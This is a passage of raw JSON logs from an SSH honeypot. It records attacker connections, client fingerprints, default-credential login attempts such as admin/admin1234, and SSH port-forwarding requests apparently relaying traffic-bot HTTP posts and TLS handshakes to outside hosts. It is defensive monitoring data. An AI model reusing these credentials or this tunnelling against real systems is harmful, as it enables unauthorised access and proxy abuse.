%2F0T%2FC%2B33E1BUNoaqpJo9u7FiAo0S%2FP7pA0YZuJ6DAmLgCQzmta9ETNwCsyke0L%2FPj%2B869nd1rNBQRctyZw61SzeXZu2O02fAlw%2BVWUds0cY5MtJ%2BjWX9ILqurATDhtYtY25'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_6_2; rv:77.0) Gecko/20100101 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QVE4SzZCKD5OWFdUPHtPag%3D%3Du00lGpEL9S7iQuoLGTZxMjp0ErsmM%2BVbvsLv%2BEapM2cNDphHrtneFEaGph8XPsLjJpgH82Mo9HnLCUb0VNh438LZpqibuNUDkJgEmehE3vvpSnwKDuc7%2BwIU6zLzruxHfOEf3An2a4NSgyBCStz2S96foevZowLicO2MNisncM1VLmi9KP9d7CqKnnzl%2FowBOCMlr6YkKGkRwFsgqbi9lY5CW0%2FYRzFoPmlDVroqzxyCAeOZcY%2Fo5rTlFfXKn0011jlUku1y8t5M2qKZMEPnJCNfCMpgt9uUxCdUTqY9Jw6lpuQUZn6pFwdUwDRTmGbD%2BGIQSkYGOslzQ7o2iTDiSugpNWrktzBYMFCkyFG5Brtj1d3qTrf8CJbNoKA93D02mViIkC5Lgfj8Bj9BJZXujQ5onk3uWPiN7DAU2JCtFRxlkaO7RDAMJVdmLGMOi2QroHeLoBLiiW%2FEHZeZEzWR5avpvqLOXGHYcYpK87HkkCnpUlkx9IAEzyxno6l5NcZeI0agn5VOtn4X3KH%2Fu6zvfdTVoVLkiwK7oY3QMyBXXQlj5P36WjXD9aG4IwHlfrQ6sLrBto0yR6iCJa6KlKyxa0PYBorRQDPWCM%2BU3zQJF0WP7C%2FrWFqNYg79Rw5M%2FV674hEvn6wSyJOhUUwt5bIdFLH3egDtRuthLLdKBInQ9mKzGVlqaIsSRZ%2FsiCDz%2F7ZMuOJJA005nb3Kec%2BFgQwWoCLLELyQ7mj2zv6G8ClG1V37MTS1tPxZRZ6dk4F4B293KPbr9QHx3RL9gsvjTl4IreCfJcRYnyXuL9UfqszihVXoApc1oH3%2Fsoec3z2UHleJ0795jS8cnQripPdAE6w%2BOPhVAmDm%2FHBw7N2gDcT5hU5OMx3N1ApslBtqiJ3%2BlyBHI2g8PEsvLAChfg3wZHduFJKV4X%2FSPRPw5bsl7IYZVfU7i728B5nxf5LGWW2Xe%2F0T%2FC%2B33E1BUNoaqpJo9u7FiAo0S%2FP7pA0YZuJ6DAmLgCQzmta9ETNwCsyke0L%2FPj%2B869nd1rNBQRctyZw61SzeXZu2O02fAlw%2BVWUds0cY5MtJ%2BjWX9ILqurATDhtYtY25'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:10.103045Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53174,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b8a8b299b07","protocol":"ssh","message":"New connection: 91.92.40.36:53174 (159.203.135.109:22) [session: 9b8a8b299b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:10.333656Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:10.340134Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0\\xad/d\\x93\\x81\\xa2\\xe6\\xb8\\x03\\x85\\t!/\\xf1\\xa5_wSs#\\xed\\xd3\\xc8\\xf2\\xd8;\\xedn\\xb9\\xeb\\x95 L\\x91\\x0e\"4f\\xf3\\xec\"\\xce\\xbf\\xf6\\xcf\\xf7\\xb9\\r&\\x81F\\x88F\\xf4\\xe3_\\x06\\xb1\\xf8n 1{`\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd3X\\xc4\\xe0\\x93\\xc6\\x13\\x9b\\xa6\\x19\\x9a\\xb0\\xef!+\\x02\\xbcJ\\x96C\\xc4v\\xd4\\xea{\\xf9R\\x1e8w\\xc4\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0\\xad/d\\x93\\x81\\xa2\\xe6\\xb8\\x03\\x85\\t!/\\xf1\\xa5_wSs#\\xed\\xd3\\xc8\\xf2\\xd8;\\xedn\\xb9\\xeb\\x95 L\\x91\\x0e\"4f\\xf3\\xec\"\\xce\\xbf\\xf6\\xcf\\xf7\\xb9\\r&\\x81F\\x88F\\xf4\\xe3_\\x06\\xb1\\xf8n 1{`\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd3X\\xc4\\xe0\\x93\\xc6\\x13\\x9b\\xa6\\x19\\x9a\\xb0\\xef!+\\x02\\xbcJ\\x96C\\xc4v\\xd4\\xea{\\xf9R\\x1e8w\\xc4\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:10.343523Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:10.768776Z","src_ip":"91.92.40.36","session":"9b8a8b299b07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:10.772455Z","src_ip":"91.92.40.36","session":"9b8a8b299b07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:10.820876Z","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:11.069712Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83\\x80`yOV\\x14\\x7f\\xf2?f\\xb6d\\x8bz\\x8f\\x1b\\xba\\x0e\\x8e\\xc0\\xfd\\x8b\\xff\\xf2\\xdb\\xa0{\\xa1\\xa3C\\xd7 \\xccL\"K\\x86?u\\x9f\\x00\\x92\\x8d\\x9c\\x13\\xd0\\x87\\x94\\xb9\\x91\\xcc\\x1a\\x83\\x10\\xe3\\x96\\x89\\xaa\\xf1\\x82CExQ\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfe5\\xe2\\x19,B6g\\xf9\\xb9U,9}%\\x19\\xf9\\xd5\\xaf\\x92\\xff\\xab\\x03!kK:\\x96\\x00\\'\\xfaA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x83\\x80`yOV\\x14\\x7f\\xf2?f\\xb6d\\x8bz\\x8f\\x1b\\xba\\x0e\\x8e\\xc0\\xfd\\x8b\\xff\\xf2\\xdb\\xa0{\\xa1\\xa3C\\xd7 \\xccL\"K\\x86?u\\x9f\\x00\\x92\\x8d\\x9c\\x13\\xd0\\x87\\x94\\xb9\\x91\\xcc\\x1a\\x83\\x10\\xe3\\x96\\x89\\xaa\\xf1\\x82CExQ\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfe5\\xe2\\x19,B6g\\xf9\\xb9U,9}%\\x19\\xf9\\xd5\\xaf\\x92\\xff\\xab\\x03!kK:\\x96\\x00\\'\\xfaA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:11.073415Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:11.524265Z","src_ip":"123.27.168.40","session":"76a8406656b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54947,"dst_ip":"10.17.0.5","dst_port":22,"session":"8afbe311d93a","protocol":"ssh","message":"New connection: 123.27.168.40:54947 (10.17.0.5:22) [session: 8afbe311d93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:13.343102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:13.347708Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:13.599612Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"postgres12","message":"login attempt [ubuntu/postgres12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:13.957363Z","src_ip":"91.92.40.36","session":"9b8a8b299b07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:14.751709Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:15.139948Z","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:15.219292Z","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:15.389007Z","src_ip":"123.27.168.40","session":"8afbe311d93a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1200\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 